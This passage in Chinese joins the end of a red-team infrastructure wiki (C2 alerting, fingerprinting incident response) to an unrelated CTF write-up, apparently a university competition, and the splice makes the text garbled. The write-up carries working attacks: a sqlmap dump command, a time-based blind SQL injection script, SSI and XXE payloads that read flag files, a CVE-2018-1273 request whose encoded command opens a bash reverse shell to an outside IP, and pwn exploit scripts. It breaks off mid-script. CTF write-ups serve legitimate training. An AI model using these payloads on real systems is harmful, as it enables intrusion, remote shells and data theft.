* **设置高价值事件告警** \- 配置攻击基础架构以生成高价值事件的警报，例如新的 C2 会话或凭证捕获匹配。 实现警报的一种流行方式是通过聊天平台的API，比如 Slack，查看以下关于 Slack 警报的相关文章: [Slack Shell Bot - Russel Van Tuyl (@Ne0nd0g)](https://www.swordshield.com/2016/11/slackshellbot/), [Slack Notifications for Cobalt Strike - Andrew Chiles (@AndrewChiles)](http://threatexpress.com/2016/12/slack-notifications-for-cobalt-strike/), [Slack Bots for Trolls and Work - Jeff Dimmock (@bluscreenfojeff)](http://bluescreenofjeff.com/2017-04-11-slack-bots-for-trolls-and-work/)
* **指纹事件响应** \- 如果可能的话，在评估开始前尝试被动或主动地指定 IR 操作。 例如，向目标发送平庸的网络钓鱼电子邮件（使用不相关的基础架构）并监视基础架构收到的流量。 IR 团队调查可以披露关于团队如何运作以及他们使用何种基础架构的大量信息。 如果这可以在评估之前确定，则可以对其进行过滤或直接重定向。
## 感谢列表
感谢所有以下人员(按字母顺序排列)，他们贡献了包括此文中的工具、提示或链接，还有人感谢任何编写本维基引用的工具或帖子的人！
* [@andrewchiles - Andrew Chiles](https://twitter.com/andrewchiles)
* [@armitagehacker - Raphael Mudge](https://twitter.com/armitagehacker)
* [@beyondnegative - Jeremy Johnson](https://twitter.com/beyondnegative)
* [@bspence7337](https://twitter.com/bspence7337)
* [@domchell - Dominic Chell](https://twitter.com/domchell)
* [@jivoi - EK](https://twitter.com/jivoi)
* [@joevest - Joe Vest](https://twitter.com/joevest)
* [@killswitch_gui - Alex Rymdeko-Harvey](https://twitter.com/killswitch_gui)
* [@ne0nd0g - Russel Van Tuyl](https://twitter.com/ne0nd0g)
* [@n0pe_sled - Julian Catrambone](https://twitter.com/n0pe_sled)
* [@_RastaMouse](https://twitter.com/_RastaMouse)
* [@tifkin_ - Lee Christensen](https://twitter.com/tifkin_)
* [@Und3rf10w - Jonathan Echavarria](https://twitter.com/und3rf10w)
* [@vysecurity - Vincent Yiu](https://twitter.com/vysecurity)
* [@xorrior - Chris Ross](https://twitter.com/xorrior)
* * * | 社区文章 |
## RE
### Hide and Seek
from z3 import *
from IPython import embed
flags = []
for _ in xrange(53):
flags.append(BitVec('a' + str(_),8))
so = Solver()
v0 = 34 * flags[0]+ 3 * flags[0] * flags[0]+ 120 * flags[0] * flags[0] * flags[0]+ 12
so.add(v0 == 39437721)
v0 = 96 * flags[1]+ 127 * flags[1] * flags[1]+ 41 * flags[1] * flags[1] * flags[1]+ 87
so.add(v0 == 16633575)
v0 = 26 * flags[2]+ 70 * flags[2] * flags[2]+ 12 * flags[2] * flags[2] * flags[2]+ 33
so.add(v0 == 7345865)
v0 = 88 * flags[3]+ 31 * flags[3] * flags[3]+ 71 * flags[3] * flags[3] * flags[3]+ 105
so.add(v0 == 132601485)
v0 = 67 * flags[4]+ 29 * flags[4] * flags[4]+ 69 * flags[4] * flags[4] * flags[4]+ 32
so.add(v0 == 122670437)
v0 = 23 * flags[5]+ 79 * flags[5] * flags[5]+ 117 * flags[5] * flags[5] * flags[5]+ 112
so.add(v0 == 160988851)
v0 = 101 * flags[6]+ 101 * flags[6] * flags[6]+ 13 * flags[6] * flags[6] * flags[6]+ 25
so.add(v0 == 22215400)
v0 = 120 * flags[7]+ 25 * flags[7] * flags[7]+ 37 * flags[7] * flags[7] * flags[7]+ 106
so.add(v0 == 31960006)
v0 = 101 * flags[8]+ 92 * flags[8] * flags[8]+ 40 * flags[8] * flags[8] * flags[8]+ 35
so.add(v0 == 62063350)
v0 = 11 * flags[9]+ 31 * flags[9] * flags[9]+ 67 * flags[9] * flags[9] * flags[9]+ 99
so.add(v0 == 75702427)
v0 = 16 * flags[10]+ 67 * flags[10] * flags[10]+ 74 * flags[10] * flags[10] * flags[10]+ 17
so.add(v0 == 102031994)
v0 = 21 * flags[11]+ 93 * flags[11] * flags[11]+ 67 * flags[11] * flags[11] * flags[11]+ 2
so.add(v0 == 108583607)
v0 = 62 * flags[12]+ 109 * flags[12] * flags[12]+ 107 * flags[12] * flags[12] * flags[12]+ 61
so.add(v0 == 136067317)
v0 = 104 * flags[13]+ 47 * flags[13] * flags[13]+ 117 * flags[13] * flags[13] * flags[13]+ 79
so.add(v0 == 117480479)
v5 = 68 * flags[14]+ 124 * flags[14] * flags[14]+ 88 * flags[14] * flags[14] * flags[14]+ 115
so.add( v5 == 76574675 )
v0 = 86 * flags[15]+ 50 * flags[15] * flags[15]+ (flags[15] * flags[15] * flags[15] * (2**6))+ 93
so.add(v0 == 70473929)
v0 = 100 * flags[16]+ 70 * flags[16] * flags[16]+ 118 * flags[16] * flags[16] * flags[16]+ 84
so.add(v0 == 162254112)
v0 = 39 * flags[17]+ 76 * flags[17] * flags[17]+ 50 * flags[17] * flags[17] * flags[17]+ 23
so.add(v0 == 43558378)
v0 = 101 * flags[18]+ 74 * flags[18] * flags[18]+ 67 * flags[18] * flags[18] * flags[18]+ 45
so.add(v0 == 71881179)
v0 = 31 * flags[19]+ 115 * flags[19] * flags[19]+ 101 * flags[19] * flags[19] * flags[19]+ 7
so.add(v0 == 139551094)
v0 = 20 * flags[20]+ 11 * flags[20] * flags[20]+ 69 * flags[20] * flags[20] * flags[20]+ 119
so.add(v0 == 102371891)
v0 = 83 * flags[21]+ 122 * flags[21] * flags[21]+ 27 * flags[21] * flags[21] * flags[21]+ 111
so.add(v0 == 24258171)
v0 = 34 * flags[22]+ 51 * flags[22] * flags[22]+ 66 * flags[22] * flags[22] * flags[22]+ 10
so.add(v0 == 88466850)
v0 = 16 * flags[23]+ 58 * flags[23] * flags[23]+ 115 * flags[23] * flags[23] * flags[23]+ 35
so.add(v0 == 105504704)
v0 = 50 * flags[24]+ 125 * flags[24] * flags[24]+ 51 * flags[24] * flags[24] * flags[24]+ 18
so.add(v0 == 79223518)
v0 = 26 * flags[25]+ 127 * flags[25] * flags[25]+ 10 * flags[25] * flags[25] * flags[25]+ 3
so.add(v0 == 10950294)
v0 = 122 * flags[26]+ 83 * flags[26] * flags[26]+ 92 * flags[26] * flags[26] * flags[26]+ 60
so.add(v0 == 126858297)
v0 = 56 * flags[27]+ 36 * flags[27] * flags[27]+ 110 * flags[27] * flags[27] * flags[27]+ 69
so.add(v0 == 146851829)
v0 = 110 * flags[28]+ 23 * flags[28] * flags[28]+ 32 * flags[28] * flags[28] * flags[28]+ 127
so.add(v0 == 32241127)
v0 = 58 * flags[29]+ 123 * flags[29] * flags[29]+ 22 * flags[29] * flags[29] * flags[29]+ 44
so.add(v0 == 26829959)
v0 = 122 * flags[30]+ 60 * flags[30] * flags[30]+ 92 * flags[30] * flags[30] * flags[30]+ 65
so.add(v0 == 123191485)
v0 = 88 * flags[31]+ 36 * flags[31] * flags[31]+ 38 * flags[31] * flags[31] * flags[31]+ 38
so.add(v0 == 52423340)
v0 = 80 * flags[32]+ 72 * flags[32] * flags[32]+ 127 * flags[32] * flags[32] * flags[32]+ 44
so.add(v0 == 109544069)
v0 = 13 * flags[33]+ 23 * flags[33] * flags[33]+ 94 * flags[33] * flags[33] * flags[33]+ 28
so.add(v0 == 158732224)
v0 = 80 * flags[34]+ 24 * flags[34] * flags[34]+ 46 * flags[34] * flags[34] * flags[34]+ 79
so.add(v0 == 63215689)
v0 = 100 * flags[35]+ 101 * flags[35] * flags[35]+ 75 * flags[35] * flags[35] * flags[35]+ 104
so.add(v0 == 112439900)
v0 = 96 * flags[36]+ 8 * flags[36] * flags[36]+ 4 * flags[36] * flags[36] * flags[36]+ 49
so.add(v0 == 5142577)
v0 = 14 * flags[37]+ 89 * flags[37] * flags[37]+ 113 * flags[37] * flags[37] * flags[37]+ 56
so.add(v0 == 113891456)
v0 = 9 * flags[38]+ 82 * flags[38] * flags[38]+ 18 * flags[38] * flags[38] * flags[38]+ 74
so.add(v0 == 16173729)
v0 = 56 * flags[39]+ 14 * flags[39] * flags[39]+ 117 * flags[39] * flags[39] * flags[39]+ 70
so.add(v0 == 113667811)
v0 = 53 * flags[40]+ 49 * flags[40] * flags[40]+ 89 * flags[40] * flags[40] * flags[40]+ 94
so.add(v0 == 100648486)
v4 = 6 * flags[41]+ 23 * flags[41] * flags[41]+ 38 * flags[41] * flags[41] * flags[41]+ 22
so.add(v4 == 34898585)
v0 = 29 * flags[42]+ 72 * flags[42] * flags[42]+ 21 * flags[42] * flags[42] * flags[42]+ 43
so.add(v0 == 28054245)
v0 = 16 * flags[43]+ 90 * flags[43] * flags[43]+ 68 * flags[43] * flags[43] * flags[43]+ 105
so.add(v0 == 96665961)
v0 = 73 * flags[44]+ 116 * flags[44] * flags[44]+ 102 * flags[44] * flags[44] * flags[44]+ 51
so.add(v0 == 119364366)
v0 = 101 * flags[45]+ 15 * flags[45] * flags[45]+ 13 * flags[45] * flags[45] * flags[45]+ 34
so.add(v0 == 17975263)
v0 = 59 * flags[46]+ 72 * flags[46] * flags[46]+ 52 * flags[46] * flags[46] * flags[46]+ 83
so.add(v0 == 70089773)
v0 = 50 * flags[47]+ 22 * flags[47] * flags[47]+ 55 * flags[47] * flags[47] * flags[47]+ 41
so.add(v0 == 83944866)
v0 = 77 * flags[48]+ 42 * flags[48] * flags[48]+ 119 * flags[48] * flags[48] * flags[48]+ 110
so.add(v0 == 134321206)
v0 = 91 * flags[49]+ 38 * flags[49] * flags[49]+ 126 * flags[49] * flags[49] * flags[49]+ 64
so.add(v0 == 146289319)
v0 = 113 * flags[50]+ 113 * flags[50] * flags[50]+ 119 * flags[50] * flags[50] * flags[50]+ 22
so.add(v0 == 168616582)
v0 = 24 * flags[51]+ 88 * flags[51] * flags[51]+ 98 * flags[51] * flags[51] * flags[51]+ 30
so.add(v0 == 192784280)
v0 = 96 * flags[52]+ 12 * flags[52] * flags[52]+ 74 * flags[52] * flags[52] * flags[52]+ 104
so.add(v0 == 104)
print(so.check())
m = so.model()
print(m)
res = ''
for ii in xrange(53):
t = m[flags[ii]]
print(t)
res += chr(int(t.as_long()))
print(res)
you_should_go_for_nascondino_world_championship
### tailbone
验证flag的函数是在exit里调用的，调用栈如下
#0 0x0000000000400647 in flag_wrong ()
#1 0x00007ffff7de7de7 in _dl_fini () at dl-fini.c:235
#2 0x00007ffff7a46ff8 in __run_exit_handlers (status=0, listp=0x7ffff7dd15f8 <__exit_funcs>, run_list_atexit=run_list_atexit@entry=true) at exit.c:82
#3 0x00007ffff7a47045 in __GI_exit (status=<optimized out>) at exit.c:104
#4 0x00007ffff7a2d837 in __libc_start_main (main=0x400648 <main>, argc=1, argv=0x7fffffffd5d8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffd5c8) at ../csu/libc-start.c:325
#5 0x0000000000400559 in _start ()
dl_fini+819有个call，这个函数把输入装进xmm寄存器，然后用aesenc指令加密，最后比较
_eh_frame段里是真正的加密函数
static uint8_t xtime(uint8_t x)
{
return ((x<<1) ^ (((x>>7) & 1) * 0x1b));
}
static uint8_t Multiply(uint8_t x, uint8_t y)
{
return (((y & 1) * x) ^
((y>>1 & 1) * xtime(x)) ^
((y>>2 & 1) * xtime(xtime(x))) ^
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */
}
static void InvMixColumns(state_t* state)
{
int i;
uint8_t a, b, c, d;
for (i = 0; i < 4; ++i)
{
a = (*state)[i][0];
b = (*state)[i][1];
c = (*state)[i][2];
d = (*state)[i][3];
(*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
(*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
(*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
(*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
}
}
// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void InvSubBytes(state_t* state)
{
uint8_t i, j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[j][i] = getSBoxInvert((*state)[j][i]);
}
}
}
static void InvShiftRows(state_t* state)
{
uint8_t temp;
// Rotate first row 1 columns to right
temp = (*state)[3][1];
(*state)[3][1] = (*state)[2][1];
(*state)[2][1] = (*state)[1][1];
(*state)[1][1] = (*state)[0][1];
(*state)[0][1] = temp;
// Rotate second row 2 columns to right
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;
temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;
// Rotate third row 3 columns to right
temp = (*state)[0][3];
(*state)[0][3] = (*state)[1][3];
(*state)[1][3] = (*state)[2][3];
(*state)[2][3] = (*state)[3][3];
(*state)[3][3] = temp;
}
static void aesdec(state_t* state, uint8_t* RoundKey)
{
AddRoundKey(0, state, RoundKey);
InvMixColumns(state);
InvSubBytes(state);
InvShiftRows(state);
}
然后
aesdec(xmm0, xmm5)
aesdec(xmm0, xmm4)
aesdec(xmm0, xmm3)
aesdec(xmm0, xmm2)
aesdec(xmm1, xmm9)
aesdec(xmm1, xmm8)
aesdec(xmm1, xmm7)
aesdec(xmm1, xmm6)
get flag
## web
### SimpleBBS
登录 sql注入 sqlmap直接跑
python sqlmap.py -u "http://bbs.sec.zju.edu.cn/index.php/login/valid" --data "username=*&password=asd" -D bbs -T flag --dump
### SimpleBlog
import hashlib
import requests
import re
import random
import time
import threading
import binascii
reg = "http://210.32.4.20/register.php"
log = "http://210.32.4.20/login.php"
pro = "http://210.32.4.20/answer.php"
def md5(msg):
return hashlib.md5(msg.encode()).hexdigest()
def deadbeef(payload):
#random_str = "".join(random.sample("abcdefghijklmnopqrstuvwxyz", 10))
random_str = ""
usr = payload + random_str
# print(usr)
s = requests.session()
# print('[Session start]')
s.post(reg, data={'username': usr, 'password': "werewr123"})
# print("[Registered]")
s.post(log, data={'username': usr, 'password': "werewr123"})
# print("[Log in]")
text = s.post(pro, data={'10.d':'on'}).text
# print("[Submit]")
def two(ind, cont, pos, flag):
print("[pos %d start]" % pos)
payload = "admin' and if((({})>'{}{}'),(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),0)#"
#payload = "admin' and if((({})>'{}{}'),(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C,information_schema.columns D),0)#"
l = 33
r = 127
while l < r:
mid = (l + r) >> 1
time1 = time.time()
deadbeef(payload.format(cont, flag, chr(mid)))
time2 = time.time()
if time2-time1 > 10:
l = mid + 1
else:
r = mid
flag += chr(l-1)
print(flag)
return flag
# result[pos] = chr(l)
print("[pos %d end]" % pos)
def sqli(cont):
print("[Start]")
sz = 40
flag = ""
for i in range(1, sz + 1):
flag = two(i, cont, i, flag)
#for i in range(1, sz + 1):
# if i > sz:
# t[i % sz].join()
# t[i % sz] = threading.Thread(target=two, args=(i, cont, i, res))
# t[i % sz].start()
# t[i % sz].join()
#for th in t:
# th.join()
#return "".join(res)
res = sqli("select flag from flag")
# print(res)
### SimpleServerInjection
http://210.32.4.22/index.php?name=<!--#include virtual="flag" -->
### SimpleExtensionExplorerInjection
POST /www/ HTTP/1.1
Host: 210.32.4.21:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://210.32.4.21:8080/www/index.html
Content-Type: application/xml; charset=UTF-8
Content-Length: 130
Connection: close
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<deadbeef>
<age>&xxe;</age>
</deadbeef>
### SimplePrintEventLogger
CVE-2018-1273
反弹shell POC
POST /www/backdoor HTTP/1.1
Host: 210.32.4.21:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 197
command[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC80Mi4xNTkuNC4xNi8yMzMyMyAwPiYx%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d")]=asd
### SimpleAssemblyReverse
不太明白题目里都写着Reverse了为啥还算在Web分类下面0.0
#### 静态分析及准备
访问IP只有一个输入窗口和按钮
之前做过几个WebAssembly的题目了，也算轻车熟路了233
用Chrome按F12调出Network窗口，找到flag.wasm，选择`Open in new tab`，即可保存下来binary
（Firefox也是可以下载和动态调试的，但是试了一下没有找到在哪里查看内存，所以就放弃了）
这个binary是编译过的，没有可读性，因此需要使用官方的[wabt套件](https://github.com/WebAssembly/wabt)中的wasm2c,
wasm2wat工具来反编译
当然这个c语言和wat的可读性仍然不高，只是将每个寄存器都直接作为局部变量显示出来而已
所以要逆向的话一方面以此作为参考，另一方面主要还是动态调试
#### 动态调试的方法
打开f12的Sources窗口，看到html的源代码中调用了`_check`函数
而在wasm中是看不到函数名字的，只有标号
通过wasm2wat可以找到对应关系
> (export "_check" (func 53))
然后在左侧找到wasm，选择合适的函数打开即可下断
（如果没有wasm，多刷新两次，瞎鸡儿点点试试233）
另一边也可以打开wasm2c的结果对照着看，里面的函数是有check的名字
当下在check的断点被触发以后，就能看到此时的内存和栈了
wasm是基于栈的，它的所有计算都是以栈顶的若干元素进行操作的，例如add表示将栈顶的两个数弹出，相加后再压进栈；store表示将栈顶的数存入下一个数指向的内存，然后弹出这两个数。
右侧Scope一栏里的信息是最主要需要关注的
* Global
对应Firefox中的Memory，Chrome将其视作一个巨大的数组，通过下标查看值
* Local
* locals
显示参数和局部变量，每个函数使用的局部变量是彼此独立的
* stack
操作栈，所有运算都基于它
右上方的几个熟悉的图标就是调试命令的按钮啦，快捷键分别为F8是Run，F10是步过Next，F11是步进Step
#### 本题题解
单步跟着调试，通过locals的值可以发现两个参数分别是input和len
第一个判断很容易发现
//104 line
get_local 172
i32.const 38
i32.ne
set_local 173
get_local 173
if
将长度和38放入栈中，然后用i32.ne来判断，后面if就是识别栈里的内容为1则继续，否则跳到else分支里
我们可以看到，不等时的分支会直接return 0;
也就是说长度要求为48
第二个运算在这里
//line 247
get_local 14
i32.const 3
i32.add
set_local 15
get_local 15
i32.const 255
i32.and
逐字符+3
（前面还有一些初始化空间的循环操作，没啥关系我就直接跳过了）
后面我跟了很久的正向操作都没有找到有用的信息，f797里实在是太绕了
（可能其实就是没啥用-A-）
后来想起来倒着从返回值逆推
拉到函数最后去看，这里推荐主要参考wasm2c的结果
i0 = l149;
i0 = i32_load8_s(Z_envZ_memory, (u64)(i0));
l5 = i0;
i0 = l5;
i1 = 1u;
i0 &= i1;
l100 = i0;
i0 = l191;
g10 = i0;
i0 = l100;
goto Bfunc;
Bfunc:;
FUNC_EPILOGUE;
return i0;
这里可以看出来返回值存储在l149指向的内存中，继续跟着l149向上找
i0 = l123;
i0 = i32_load8_s(Z_envZ_memory, (u64)(i0));
l4 = i0;
i0 = l4;
i1 = 1u;
i0 &= i1;
l99 = i0;
i0 = l99;
i1 = 1u;
i0 &= i1;
l3 = i0;
i0 = l149;
i1 = l3;
i32_store8(Z_envZ_memory, (u64)(i0), i1);
同理，返回值在l123指向的内存中
i0 = f798(i0, i1, i2, i3, i4);//要求i0=1
l97 = i0;
i0 = l97;
i1 = 0u;
i0 = i0 == i1;
l98 = i0;
i0 = l98;
i1 = 1u;
i0 &= i1;
l2 = i0;
i0 = l123;
i1 = l2;
i32_store8(Z_envZ_memory, (u64)(i0), i1);
往上一点儿就看到这里了
这一大堆东西实际上可以简化成
return f798();
因此我们需要去逆一下f798？
不，直接动调看它的参数和返回值就好了，当成黑盒来操作
下断，运行，触发断点
> stack:
> 0:24624
> 1:0
> 2:-1
> 3:13910
> 4:52
去Globals里依次查看i0和i3
很明显这是一串数据，先放着不管，去看另一个
这个地方只有3个字节，但其实它是个指针（这一点是在之前正向跟随的时候注意到有i32.store会四字节存放、而调试器只会把每个字节以十进制显示）
把624开头的4个字节以大端序转换成十六进制可以得到下一个地址：0x506998，再转成十进制`5269912`去查看Globals
又是一串数据，前后都是0，可以看到长度为52个字节，对应上参数4
可以修改一下输入再测试一下，发现后者的地址和值都变了，而13910处的值没有改变，所以可以推测出是`input->*24624, strcmp(13910,
*24624)`
继续往上溯源，可以找到是f52对Input进行了改变，由38个字节input变成52个字节output
这两个数字敏感一些的人就直接可以猜到了
我觉得奇怪不是逐字节加密，于是继续往里跟着看了一下，发现有/3、/4操作的时候就反应过来了--base64
于是把之前那两串数据dump下来，转成ASCII再解b64，分别得到
>>> a = [chr(i) for i in [77, 122, 81, 49, 78, 106, 99, 52, 79, 84, 111, 55, 80, 68, 77, 48, 78, 84, 89, 51, 79, 68, 107, 54, 79, 122, 119, 122, 78, 68, 85, 50, 78, 122, 103, 53, 79, 106, 115, 56, 77, 122, 81, 49, 78, 106, 99, 52, 79, 84, 111, 61]]
>>> base64.b64decode("".join(a).encode())
b'3456789:;<3456789:;<3456789:;<3456789:'
>>> a = [chr(i) for i in [97, 87, 57, 107, 97, 110, 52, 48, 78, 71, 103, 122, 79, 84, 78, 107, 78, 87, 90, 111, 78, 68, 116, 108, 79, 106, 108, 111, 78, 109, 107, 49, 79, 84, 104, 109, 78, 122, 107, 52, 79, 50, 100, 107, 80, 68, 82, 111, 90, 111, 65, 61
... ]]
>>> base64.b64decode("".join(a).encode())
b'iodj~44h393d5fh4;e:9h6i598f798;gd<4hf\x80'
有点像乱码，但是没有报错说明思路没错
前者对应的输入是
> 01234567890123456789012345678901234567
可以看到非常相似，再回想一下还有一个操作，是逐字符+3，正好对应上
于是对后一个串做逐字符-3，就得到了结果
>>> "".join([chr(i-3) for i in base64.b64decode("".join(a).encode())])
'flag{11e060a2ce18b76e3f265c4658da91ec}'
## Misc
### GoGoGo
ftp 传了个 gogogo.png 抠出来就是flag
### Checkin
from pwn import *
p=remote("210.32.4.14",port=13373)
line1=''
line2=''
line3=''
line4=''
line5=''
line6=''
line7=''
line8=''
line9=''
line10=''
line11=''
line={}
for i in range(10):
line[str(i)]={}
for i in 'abcdefghijklmnopqrstuvwxyz':
line[i]={}
line['a'][7]='d8( 888 '
line['b'][4]=' 888oooo. '
line['c'][8]='`Y8bod8P\' '
line['c'][6]='888 '
line['d'][4]=' .oooo888 '
line['e'][6]='888ooo888 '
line['f'][3]=' 888 `" '
line['g'][4]=' .oooooooo '
line['h'][5]=' 888P"Y88b '
line['i'][3]=' `"\' '
line['j'][10]='.o. 88P '
line['k'][4]=' 888 oooo '
line['l'][3]='`888 '
line['l'][4]=' 888 '
line['l'][5]=' 888 '
line['l'][6]=' 888 '
line['m'][8]='o888o o888o o888o '
line['n'][5]='`888P"Y88b '
line['o'][6]='888 888 '
line['o'][7]='888 888 '
line['o'][9]=' '
line['p'][8]=' 888bod8P\' '
line['q'][4]=' .ooooo oo '
line['r'][4]='oooo d8b '
line['s'][5]='d88( "8 '
line['t'][4]='.o888oo '
line['u'][4]='oooo oooo '
line['v'][5]=' `88. .8\' '
line['v'][9]=' '
line['w'][6]=' `88..]88..8\' '
line['x'][4]='oooo ooo '
line['x'][9]=' '
line['y'][10]='`Y8P\' '
line['y'][9]='.o..P\' '
line['z'][5]=' d\'\"\"7d8P '
line['0'][3]=' d8P\'`Y8b '
line['1'][2]=' .o '
line['2'][4]=' ]8P\' '
line['2'][8]='8888888888 '
line['3'][4]=' ]8P\' '
line['4'][4]=' .d\'888 '
line['5'][3]=' dP""""""" '
line['6'][8]=' `88bod8\' '
line['7'][3]='d"""""""8\' '
line['8'][6]='.8\' ``88b '
line['9'][3]='888\' `Y88. '
def retchar(i):
if line7[i:i+18]==line['a'][7]:
return 'a'
if line4[i:i+18]==line['b'][4]:
return 'b'
if line8[i:i+18]==line['c'][8] and line6[i:i+18]==line['c'][6]:
return 'c'
if line4[i:i+18]==line['d'][4]:
return 'd'
if line6[i:i+18]==line['e'][6]:
return 'e'
if line3[i:i+18]==line['f'][3]:
return 'f'
if line4[i:i+18]==line['g'][4]:
return 'g'
if line5[i:i+18]==line['h'][5]:
return 'h'
if line3[i:i+18]==line['i'][3]:
return 'i'
if line10[i:i+18]==line['j'][10]:
return 'j'
if line4[i:i+18]==line['k'][4]:
return 'k'
if line3[i:i+18]==line['l'][3] and line4[i:i+18]==line['l'][4] and line5[i:i+18]==line['l'][5] :
return 'l'
if line8[i:i+18]==line['m'][8]:
return 'm'
if line5[i:i+18]==line['n'][5]:
return 'n'
if line6[i:i+18]==line['o'][6] and line9[i:i+18]==line['o'][9] and line7[i:i+18]==line['o'][7]:
return 'o'
if line8[i:i+18]==line['p'][8]:
return 'p'
if line4[i:i+18]==line['q'][4]:
return 'q'
if line4[i:i+18]==line['r'][4]:
return 'r'
if line5[i:i+18]==line['s'][5]:
return 's'
if line4[i:i+18]==line['t'][4]:
return 't'
if line4[i:i+18]==line['u'][4]:
return 'u'
if line5[i:i+18]==line['v'][5] and line9[i:i+18]==line['v'][9]:
return 'v'
if line6[i:i+18]==line['w'][6]:
return 'w'
if line4[i:i+18]==line['x'][4] and line9[i:i+18]==line['x'][9]:
return 'x'
if line10[i:i+18]==line['y'][10] and line9[i:i+18]==line['y'][9]:
return 'y'
if line5[i:i+18]==line['z'][5]:
return 'z'
if line3[i:i+18]==line['0'][3]:
return '0'
if line2[i:i+18]==line['1'][2]:
return '1'
if line4[i:i+18]==line['2'][4] and line8[i:i+18]==line['2'][8]:
return '2'
if line4[i:i+18]==line['3'][4]:
return '3'
if line4[i:i+18]==line['4'][4]:
return '4'
if line3[i:i+18]==line['5'][3]:
return '5'
if line8[i:i+18]==line['6'][8]:
return '6'
if line3[i:i+18]==line['7'][3]:
return '7'
if line6[i:i+18]==line['8'][6]:
return '8'
if line3[i:i+18]==line['9'][3]:
return '9'
return '+'
p.recvuntil('A 20 rounds unCAPTCHA to get your flag! you may need a wider screen...\n')
for time in range(20):
if time == 0:
line1 = p.recvline()
line2 = p.recvline()
line3 = p.recvline()
line4 = p.recvline()
line5 = p.recvline()
line6 = p.recvline()
line7 = p.recvline()
line8 = p.recvline()
line9 = p.recvline()
line10 = p.recvline()
line11 = p.recvuntil('your captcha:')
payload=''
for i in range(0,6*18,18):
payload+=retchar(i)
print "payload : "+payload
p.sendline(payload)
print p.recv(1024)
p.interactive()
### Youchat
爆破时间戳
服务器时间戳 = 1537004467
算出key用recv函数把msg解掉就行
## Crypto
### AzureRSA
$p=\gcd(n_1,n_2)$ 可以直接求出来
from data import *
import gmpy2
def main():
f14 = crt([n1, n2], [pow(c1, d1, n1), pow(c2, d2, n2)])
d14 = modinv(14, (q1 - 1) * (q2 - 1))
f2 = pow(f14, d14, q1 * q2)
f = int(gmpy2.isqrt(f2))
print(f.to_bytes(64, 'big'))
if __name__ == '__main__':
main()
可以解 $c_1^{d_1}\equiv m^{14}\pmod{n_1}\c_2^{d_2}\equiv m^{14}\pmod{n_2}$
可用剩余定理求得 $m^{14}\pmod{\operatorname{lcm}(n_1,n_2)}$
设 $e=14$, 可以解得 $\displaystyle d\equiv\left(\frac
{14}2\right)^{-1}\pmod{q_1q_2}$, 则 $\left(m^e\right)^d\equiv
m^2\pmod{p_1p_2}$, 直接开根号.
## pwn
### hack
分别leak出libc的地址，随后从envp leak出栈的地址
用unlink攻击栈，让栈迁移到堆上执行one_gadget
from pwn import *
context.log_level = 'debug'
context.aslr = True
def pwn(p):
p.recvuntil('address:')
p.sendline(str(0x804A010))
p.recvuntil('0x')
libc_base = int(p.recvuntil('\n', drop=True), 16) - 0x49020
log.success('libc:{}'.format(hex(libc_base)))
p.recvuntil('Second chance: ')
p.sendline(str(libc_base + 0x001B1DBC))
p.recvuntil('0x')
stack_ptr = int(p.recvuntil('\n', drop=True), 16)
old_esp_addr = stack_ptr - 0xb8
log.success('stack_ptr:{}'.format(hex(stack_ptr)))
log.success('old_esp_addr:{}'.format(hex(old_esp_addr)))
p.recvuntil('of the node is 0x')
heap_base = int(p.recvuntil(',', drop=True), 16) - 0x20
log.success('heap_base:{}'.format(hex(heap_base)))
p.recvuntil('node now: ')
payload = p32(0x3A940 + libc_base) + 'sh\x00\x00' + p32(heap_base + 0x20 + 4) + p32(old_esp_addr - 0x8)
payload = p32(0x3a80e + libc_base) + 'sh\x00\x00' + p32(heap_base + 0x20 + 4) + p32(old_esp_addr - 0x8)
payload = p32(0x3a819 + libc_base) + 'sh\x00\x00' + p32(heap_base + 0x20 + 4) + p32(old_esp_addr - 0x8)
#gdb.attach(p)
p.send(payload)
p.interactive()
if __name__ == '__main__':
p = process('./hack')
p = remote('210.32.4.16', 13375)
pwn(p)
### DNS of Melody
在edit取size时 size是按int取的，当解析dns失败时会导致无限长度的栈溢出
调用memcpy在bss段copy出alarm的地址，修改低位得到syscall，调用mprotect令bss段可执行
写shellcode让程序读取flag并反弹出外界
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
def add_query(p, l, payload):
p.recvuntil('Select:\n')
p.sendline('1')
p.recvuntil('give me length: \n')
p.sendline(str(l))
p.send(payload)
def query(p, idx):
p.recvuntil('Select:\n')
p.sendline('2')
